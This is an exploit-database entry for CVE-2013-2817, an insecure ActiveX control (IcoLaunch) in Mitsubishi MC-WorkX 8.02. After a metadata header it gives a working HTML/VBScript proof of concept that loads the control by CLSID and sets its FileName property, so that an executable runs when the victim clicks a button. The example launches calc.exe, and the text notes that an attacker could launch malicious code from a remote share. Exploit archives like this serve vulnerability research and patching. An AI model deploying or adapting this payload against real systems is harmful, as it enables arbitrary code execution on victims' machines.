EXPLOITS

Mitsubishi MC-WorkX 8.02 - ActiveX Control 'IcoLaunch' File Execution

Author: blake
type: remote
platform: windows
port: 
date_added: 2013-09-15  
date_updated: 2013-09-15  
verified: 0  
codes: OSVDB-97379;CVE-2013-2817  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 28284.html  

<html>
<object classid='clsid:C28A127E-4A85-11D3-A5FF-00A0249E352D' id='target'></object>
<!--
Mitsubishi MC-WorkX Suite Insecure ActiveX Control - IcoLaunch.dll
Vendor: http://www.meau.com
Version: MC-WorkX 8.02
Tested on: Windows XP SP3 / IE 6
Download: http://www.meau.com/functions/dms/getfile.asp?ID=035000000000000001000000908800000
Author: Blake

CLSID: C28A127E-4A85-11D3-A5FF-00A0249E352D
ProgId: ICOLAUNCHLib.LaunchCtl
Path: C:\Program Files\Mitsubishi Electric Automation\MC-WorX\Bin\IcoLaunch.dll
MemberName: FileName
Safe for scripting: True
Safe for init: True
Kill Bit: False
-->

<title>Mitsubishi MC-WorkX Suite Insecure ActiveX Control (IcoLaunch)</title>
<p>This proof of concept will launch an arbritrary executable when the Login Client button is clicked. An attacker could use this to have the victim launch malicious code from a remote share. Calc is used in this example.</p>

<script language='vbscript'>
file="C:\\WINDOWS\\system32\\calc.exe"
target.FileName = file
</script>